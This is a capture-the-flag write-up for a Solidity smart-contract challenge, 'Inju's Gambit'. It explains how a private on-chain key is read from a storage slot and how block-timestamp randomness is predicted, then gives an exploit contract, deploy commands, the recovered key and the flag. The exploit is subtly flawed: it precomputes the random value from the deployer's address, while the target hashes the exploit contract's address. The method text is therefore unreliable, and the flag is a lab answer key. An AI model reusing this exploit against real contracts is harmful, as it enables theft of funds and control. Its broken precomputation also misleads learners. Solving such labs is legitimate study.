Writeup for Inju’s Gambit
- Hello h4ck3r, welcome to the world of smart contract hacking. In order to understand this writeup you need to understand foundry.
Key Concepts To Learn
When interacting with a smart contract, our interactions are conducted through transactions. Calling a function that modifies the state of a deployed contract is considered a transaction. Changing the state involves altering the values of state variables.
In the Ethereum Virtual Machine (EVM), if we call a function of a smart contract that in turn calls another contract’s function, both calls will be broadcasted to the Ethereum network as a single transaction and will be mined in the same block. Check the below example to understand it more clear.
1// SPDX-License-Identifier: MIT
2pragma solidity ^0.8.0;
3
4contract contract_one{
5 function guess(uint256 _num) public returns (bool){
6 if(_num==block.timestamp){
7 return true;
8 }
9 else{
10 revert("Incorrect Guess");
11 }
12 }
13}
14
15
16contract contract_two{
17 contract_one one;
18 constructor(address _addr){
19 one=contract_one(_addr);
20 }
21 function call_guess()public returns (bool){
22 uint256 guess_num=block.timestamp;
23 return one.guess(guess_num);
24 }
25}
First, deploy contract_one
, then deploy contract_two
. In contract_one
, the guess
function compares block.timestamp
with the number passed as an argument. If both match, it returns true.
When we call a function, the function call and all its inner calls are executed as part of the same transaction. This means that within the same transaction, block.timestamp
will remain constant. Therefore, we can calculate the _num
based on the current block.timestamp
and pass it to the guess()
function to ensure a match.
Challenge Description
Inju owns all the things in the area, waiting for one worthy challenger to emerge. Rumor said, that there many ways from many different angle to tackle Inju. Are you the Challenger worthy to oppose him?
Exploit
The below are the source contracts.
- Setup contract
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.26;
3
4import "./Privileged.sol";
5import "./ChallengeManager.sol";
6
7contract Setup {
8 Privileged public privileged;
9 ChallengeManager public challengeManager;
10 Challenger1 public Chall1;
11 Challenger2 public Chall2;
12
13 constructor(bytes32 _key) payable{
14 privileged = new Privileged{value: 100 ether}();
15 challengeManager = new ChallengeManager(address(privileged), _key);
16 privileged.setManager(address(challengeManager));
17
18 // prepare the challenger
19 Chall1 = new Challenger1{value: 5 ether}(address(challengeManager));
20 Chall2 = new Challenger2{value: 5 ether}(address(challengeManager));
21 }
22
23 function isSolved() public view returns(bool){
24 return address(privileged.challengeManager()) == address(0);
25 }
26}
27
28contract Challenger1 {
29 ChallengeManager public challengeManager;
30
31 constructor(address _target) payable{
32 require(msg.value == 5 ether);
33 challengeManager = ChallengeManager(_target);
34 challengeManager.approach{value: 5 ether}();
35
36 }
37}
38
39contract Challenger2 {
40 ChallengeManager public challengeManager;
41
42 constructor(address _target) payable{
43 require(msg.value == 5 ether);
44 challengeManager = ChallengeManager(_target);
45 challengeManager.approach{value: 5 ether}();
46 }
47}
- Priviliged contract.
1// SPDX-License-Identifier: MIT
2pragma solidity ^0.8.26;
3
4contract Privileged{
5
6 error Privileged_NotHighestPrivileged();
7 error Privileged_NotManager();
8
9 struct casinoOwnerChallenger{
10 address challenger;
11 bool isRich;
12 bool isImportant;
13 bool hasConnection;
14 bool hasVIPCard;
15 }
16
17 address public challengeManager;
18 address public casinoOwner;
19 uint256 public challengerCounter = 1;
20
21 mapping(uint256 challengerId => casinoOwnerChallenger) public Requirements;
22
23 modifier onlyOwner() {
24 if(msg.sender != casinoOwner){
25 revert Privileged_NotHighestPrivileged();
26 }
27 _;
28 }
29
30 modifier onlyManager() {
31 if(msg.sender != challengeManager){
32 revert Privileged_NotManager();
33 }
34 _;
35 }
36
37 constructor() payable{
38 casinoOwner = msg.sender;
39 }
40
41 function setManager(address _manager) public onlyOwner{
42 challengeManager = _manager;
43 }
44
45 function fireManager() public onlyOwner{
46 challengeManager = address(0);
47 }
48
49 function setNewCasinoOwner(address _newCasinoOwner) public onlyManager{
50 casinoOwner = _newCasinoOwner;
51 }
52
53 function mintChallenger(address to) public onlyManager{
54 uint256 newChallengerId = challengerCounter++;
55
56 Requirements[newChallengerId] = casinoOwnerChallenger({
57 challenger: to,
58 isRich: false,
59 isImportant: false,
60 hasConnection: false,
61 hasVIPCard: false
62 });
63 }
64
65 function upgradeAttribute(uint256 Id, bool _isRich, bool _isImportant, bool _hasConnection, bool _hasVIPCard) public onlyManager {
66 Requirements[Id] = casinoOwnerChallenger({
67 challenger: Requirements[Id].challenger,
68 isRich: _isRich,
69 isImportant: _isImportant,
70 hasConnection: _hasConnection,
71 hasVIPCard: _hasVIPCard
72 });
73 }
74
75 function resetAttribute(uint256 Id) public onlyManager{
76 Requirements[Id] = casinoOwnerChallenger({
77 challenger: Requirements[Id].challenger,
78 isRich: false,
79 isImportant: false,
80 hasConnection: false,
81 hasVIPCard: false
82 });
83 }
84
85 function getRequirmenets(uint256 Id) public view returns (casinoOwnerChallenger memory){
86 return Requirements[Id];
87 }
88
89 function getNextGeneratedId() public view returns (uint256){
90 return challengerCounter;
91 }
92
93 function getCurrentChallengerCount() public view returns (uint256){
94 return challengerCounter - 1;
95 }
96}
- ChallengeManager contract
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.26;
3
4import "./Privileged.sol";
5
6contract ChallengeManager{
7
8 Privileged public privileged;
9
10 error CM_FoundChallenger();
11 error CM_NotTheCorrectValue();
12 error CM_AlreadyApproached();
13 error CM_InvalidIdOfChallenger();
14 error CM_InvalidIdofStranger();
15 error CM_CanOnlyChangeSelf();
16
17 bytes32 private masterKey;
18 bool public qualifiedChallengerFound;
19 address public theChallenger;
20 address public casinoOwner;
21 uint256 public challengingFee;
22
23 address[] public challenger;
24
25 mapping (address => bool) public approached;
26
27 modifier stillSearchingChallenger(){
28 require(!qualifiedChallengerFound, "New Challenger is Selected!");
29 _;
30 }
31
32 modifier onlyChosenChallenger(){
33 require(msg.sender == theChallenger, "Not Chosen One");
34 _;
35 }
36
37 constructor(address _priv, bytes32 _masterKey) {
38 casinoOwner = msg.sender;
39 privileged = Privileged(_priv);
40 challengingFee = 5 ether;
41 masterKey = _masterKey;
42 }
43
44 function approach() public payable {
45 if(msg.value != 5 ether){
46 revert CM_NotTheCorrectValue();
47 }
48 if(approached[msg.sender] == true){
49 revert CM_AlreadyApproached();
50 }
51 approached[msg.sender] = true;
52 challenger.push(msg.sender);
53 privileged.mintChallenger(msg.sender);
54 }
55
56 function upgradeChallengerAttribute(uint256 challengerId, uint256 strangerId) public stillSearchingChallenger {
57 if (challengerId > privileged.challengerCounter()){
58 revert CM_InvalidIdOfChallenger();
59 }
60 if(strangerId > privileged.challengerCounter()){
61 revert CM_InvalidIdofStranger();
62 }
63 if(privileged.getRequirmenets(challengerId).challenger != msg.sender){
64 revert CM_CanOnlyChangeSelf();
65 }
66
67 uint256 gacha = uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp))) % 4;
68
69 if (gacha == 0){
70 if(privileged.getRequirmenets(strangerId).isRich == false){
71 privileged.upgradeAttribute(strangerId, true, false, false, false);
72 }else if(privileged.getRequirmenets(strangerId).isImportant == false){
73 privileged.upgradeAttribute(strangerId, true, true, false, false);
74 }else if(privileged.getRequirmenets(strangerId).hasConnection == false){
75 privileged.upgradeAttribute(strangerId, true, true, true, false);
76 }else if(privileged.getRequirmenets(strangerId).hasVIPCard == false){
77 privileged.upgradeAttribute(strangerId, true, true, true, true);
78 qualifiedChallengerFound = true;
79 theChallenger = privileged.getRequirmenets(strangerId).challenger;
80 }
81 }else if (gacha == 1){
82 if(privileged.getRequirmenets(challengerId).isRich == false){
83 privileged.upgradeAttribute(challengerId, true, false, false, false);
84 }else if(privileged.getRequirmenets(challengerId).isImportant == false){
85 privileged.upgradeAttribute(challengerId, true, true, false, false);
86 }else if(privileged.getRequirmenets(challengerId).hasConnection == false){
87 privileged.upgradeAttribute(challengerId, true, true, true, false);
88 }else if(privileged.getRequirmenets(challengerId).hasVIPCard == false){
89 privileged.upgradeAttribute(challengerId, true, true, true, true);
90 qualifiedChallengerFound = true;
91 theChallenger = privileged.getRequirmenets(challengerId).challenger;
92 }
93 }else if(gacha == 2){
94 privileged.resetAttribute(challengerId);
95 qualifiedChallengerFound = false;
96 theChallenger = address(0);
97 }else{
98 privileged.resetAttribute(strangerId);
99 qualifiedChallengerFound = false;
100 theChallenger = address(0);
101 }
102 }
103
104 function challengeCurrentOwner(bytes32 _key) public onlyChosenChallenger{
105 if(keccak256(abi.encodePacked(_key)) == keccak256(abi.encodePacked(masterKey))){
106 privileged.setNewCasinoOwner(address(theChallenger));
107 }
108 }
109
110 function getApproacher(address _who) public view returns(bool){
111 return approached[_who];
112 }
113
114 function getPrivilegedAddress() public view returns(address){
115 return address(privileged);
116 }
117
118}
In this challenge our task is make isSolved()
function return true.
1function isSolved() public view returns(bool){
2 return address(privileged.challengeManager()) == address(0);
3}
The isSolved() function returns true if the challengeManager in Privileged contract is set to address of zero.
Now lets dive into Privileged contract.
1function setManager(address _manager) public onlyOwner{
2 challengeManager = _manager;
3}
4
5function fireManager() public onlyOwner{
6 challengeManager = address(0);
7}
The only way to change the challengeManager
is by calling one of the two functions, both of which have the onlyOwner()
modifier. This modifier ensures that only the Owner can call these functions. The Owner is set to msg.sender
in the constructor. Since the Setup
contract deployed the Privileged
contract, the casinoOwner
is the Setup
contract.
Only the Setup
contract can call the setManager()
and fireManager()
functions. However, the Setup
contract does not have any functions that call setManager()
or fireManager()
. Therefore, we need to find a way to change the address of the casinoOwner
so that we can directly call fireManager()
.
1function setNewCasinoOwner(address _newCasinoOwner) public onlyManager{
2 casinoOwner = _newCasinoOwner;
3}
The setNewCasinoOwner()
function takes an address as an argument and then executes the onlyManager
modifier. If the modifier passes, it sets the casinoOwner
to the provided address. Since this function can only be called by the challengeManager
, we need to examine the ChallengeManager
contract to find any function that calls setNewCasinoOwner()
in the Privileged
contract.
Now let’s look into ChallengeManager contract.
1function challengeCurrentOwner(bytes32 _key) public onlyChosenChallenger{
2 if(keccak256(abi.encodePacked(_key)) == keccak256(abi.encodePacked(masterKey))){
3 privileged.setNewCasinoOwner(address(theChallenger));
4 }
5}
The challengeCurrentOwner()
function takes a bytes32
argument and then executes the onlyChosenChallenger
modifier. If the modifier passes, it compares the passed _key
with the original key. If both match, it calls setNewCasinoOwner()
with the address of theChallenger
as the argument.
1modifier onlyChosenChallenger(){
2 require(msg.sender == theChallenger, "Not Chosen One");
3 _;
4}
The modifier onlyChosenChallenger() will make sure that the msg.sender (caller) is the address of theChallenger.
If we somehow become theChallenger
, we can call challengeCurrentOwner()
. This will call setNewCasinoOwner()
with our address, making us the casinoOwner
. Once we become the casinoOwner
, we can directly call fireManager()
, which will set the address of challengeManager
to the zero address, thereby solving our challenge.
The upgradeChallengerAttribute()
function is the only place where theChallenger
is changed. However, before delving into this function, we need to understand a bit about the ChallengeManager
contract and the challenger attributes.
The ChallengeManager
contract controls the casinoOwner
in the Privileged
contract. During the deployment of the Privileged
contract, the casinoOwner
is set to the address of the Setup
contract. The casinoOwner
can be changed by the ChallengeManager
. Anyone who wants to challenge the Owner needs to call the approach()
function by sending 5 ether. After that, the challenger can call the upgradeChallengerAttribute()
function.
1function approach() public payable {
2 if(msg.value != 5 ether){
3 revert CM_NotTheCorrectValue();
4 }
5 if(approached[msg.sender] == true){
6 revert CM_AlreadyApproached();
7 }
8 approached[msg.sender] = true;
9 challenger.push(msg.sender);
10 privileged.mintChallenger(msg.sender);
11 }
When we call the approach()
function with 5 ether, it sets approached
of msg.sender
(the caller) to true. Then, it pushes the msg.sender
(the caller’s address) into the challenger
array. Finally, it calls mintChallenger()
in the Privileged
contract.
1function mintChallenger(address to) public onlyManager{
2 uint256 newChallengerId = challengerCounter++;
3
4 Requirements[newChallengerId] = casinoOwnerChallenger({
5 challenger: to,
6 isRich: false,
7 isImportant: false,
8 hasConnection: false,
9 hasVIPCard: false
10 });
11}
The mintChallenger()
function takes an address as an argument. It then initializes and loads the newChallengerId
, setting the requirements of newChallengerId
as an instance of the casinoOwnerChallenger
struct. Except for challenger
, all attributes of casinoOwnerChallenger
are initialized to false.
1function upgradeChallengerAttribute(uint256 challengerId, uint256 strangerId) public stillSearchingChallenger {
2 if (challengerId > privileged.challengerCounter()){
3 revert CM_InvalidIdOfChallenger();
4 }
5 if(strangerId > privileged.challengerCounter()){
6 revert CM_InvalidIdofStranger();
7 }
8 if(privileged.getRequirmenets(challengerId).challenger != msg.sender){
9 revert CM_CanOnlyChangeSelf();
10 }
11
12 uint256 gacha = uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp))) % 4;
13
14 if (gacha == 0){
15 if(privileged.getRequirmenets(strangerId).isRich == false){
16 privileged.upgradeAttribute(strangerId, true, false, false, false);
17 }else if(privileged.getRequirmenets(strangerId).isImportant == false){
18 privileged.upgradeAttribute(strangerId, true, true, false, false);
19 }else if(privileged.getRequirmenets(strangerId).hasConnection == false){
20 privileged.upgradeAttribute(strangerId, true, true, true, false);
21 }else if(privileged.getRequirmenets(strangerId).hasVIPCard == false){
22 privileged.upgradeAttribute(strangerId, true, true, true, true);
23 qualifiedChallengerFound = true;
24 theChallenger = privileged.getRequirmenets(strangerId).challenger;
25 }
26 }else if (gacha == 1){
27 if(privileged.getRequirmenets(challengerId).isRich == false){
28 privileged.upgradeAttribute(challengerId, true, false, false, false);
29 }else if(privileged.getRequirmenets(challengerId).isImportant == false){
30 privileged.upgradeAttribute(challengerId, true, true, false, false);
31 }else if(privileged.getRequirmenets(challengerId).hasConnection == false){
32 privileged.upgradeAttribute(challengerId, true, true, true, false);
33 }else if(privileged.getRequirmenets(challengerId).hasVIPCard == false){
34 privileged.upgradeAttribute(challengerId, true, true, true, true);
35 qualifiedChallengerFound = true;
36 theChallenger = privileged.getRequirmenets(challengerId).challenger;
37 }
38 }else if(gacha == 2){
39 privileged.resetAttribute(challengerId);
40 qualifiedChallengerFound = false;
41 theChallenger = address(0);
42 }else{
43 privileged.resetAttribute(strangerId);
44 qualifiedChallengerFound = false;
45 theChallenger = address(0);
46 }
47 }
The upgradeChallengerAttribute()
function takes arguments of type uint256
(challengerId
) and uint256
(strangerId
). The stillSearchingChallenger
modifier checks if theChallenger
has already been set. If it is set, the function reverts. Otherwise, it continues execution and gets a random number between 0 and 3. Based on the random value:
- If the value is 0, it sets attributes to the stranger’s address.
- If the value is 1, it sets attributes to the challenger’s address.
- If either of them has all attributes, they become
theChallenger
. - If the value is 2, it resets the attributes of the challenger.
- If the value is 3, it resets the attributes of the stranger.
In order to become theChallenger
, we need to call the upgradeChallengerAttribute()
function 4 times, ensuring that the gacha value is 1 each time.
We can acheive this by precomputing the gacha value then if the value is one we will call upgradeChallengerAttribute() 4 times with in the single transaction.
When we call challengeCurrentOwner()
, we need to pass the key. The function will then compare the key we passed with the masterKey
. If both are the same, we will become the casinoOwner
.
Since masterKey
is a private variable, we need to retrieve its value by examining the storage slots.
1$cast storage --rpc-url $RPC_URL $ChallengeManagerAddress 1
This will return 0x494e4a55494e4a55494e4a5553555045524b45594b45594b45594b45594b4559
. This is the key.
The key in ASCII is INJUINJUINJUSUPERKEYKEYKEYKEYKEY
.
Steps to Solve the Challenge
- Become a Challenger: Send 5 ether to call the
approach()
function. - Precompute the Gacha Value: Calculate the gacha value to determine the outcome.
- Call
upgradeChallengerAttribute()
: If the gacha value is zero or one, callupgradeChallengerAttribute()
four times. - Get the Key Value: Retrieve the key value by examining the first slot of the
ChallengeManager
. - Call
challengeCurrentOwner()
: Once you have all attributes, callchallengeCurrentOwner()
to become thecasinoOwner
. - Call
fireManager()
: As the newcasinoOwner
, callfireManager()
to set thechallengeManager
address to zero and solve the challenge.
Below is the Exploit contract.
1// SPDX-License-Identifier: MIT
2pragma solidity ^0.8.0;
3
4import {Setup, Privileged, ChallengeManager} from "src/contracts/Setup.sol";
5
6contract ExploitPrivileged {
7 Setup public setup = Setup(//YOUR__SETUP__ADDRESS);
8 Privileged public privileged = Privileged(setup.privileged());
9 ChallengeManager public challengeManager = ChallengeManager(setup.challengeManager());
10
11 constructor() payable {
12 uint256 gacha = uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp))) % 4;
13 if (gacha == 0 || gacha == 1) {
14 challengeManager.approach{value: 5 ether}();
15 for (uint8 i = 0; i < 4; i++) {
16 challengeManager.upgradeChallengerAttribute(3, 3);
17 }
18 challengeManager.challengeCurrentOwner(0x494e4a55494e4a55494e4a5553555045524b45594b45594b45594b45594b4559);
19 privileged.fireManager();
20 } else {
21 revert("Try again");
22 }
23 }
24}
1$ forge create ExploitPrivileged --rpc-url $RPC_URL --interactive --value 5ether
Thank’s it for this challenge.
Flag: TCP1P{is_it_really_a_gambit_tho_its_not_that_hard}
Key Takeaways
Even though state variables are private, they can be accessed by anyone through storage slot examination. Therefore, important keys should not be stored on the blockchain.
In our challenge, the gacha value is expected to be a random number, but it can be predicted or manipulated within the same transaction. Instead of determining the random values within the contract, we can use Chainlink oracles to prevent this issue.
***Hope you enjoyed this write-up. Keep on hacking and learning!***
Comments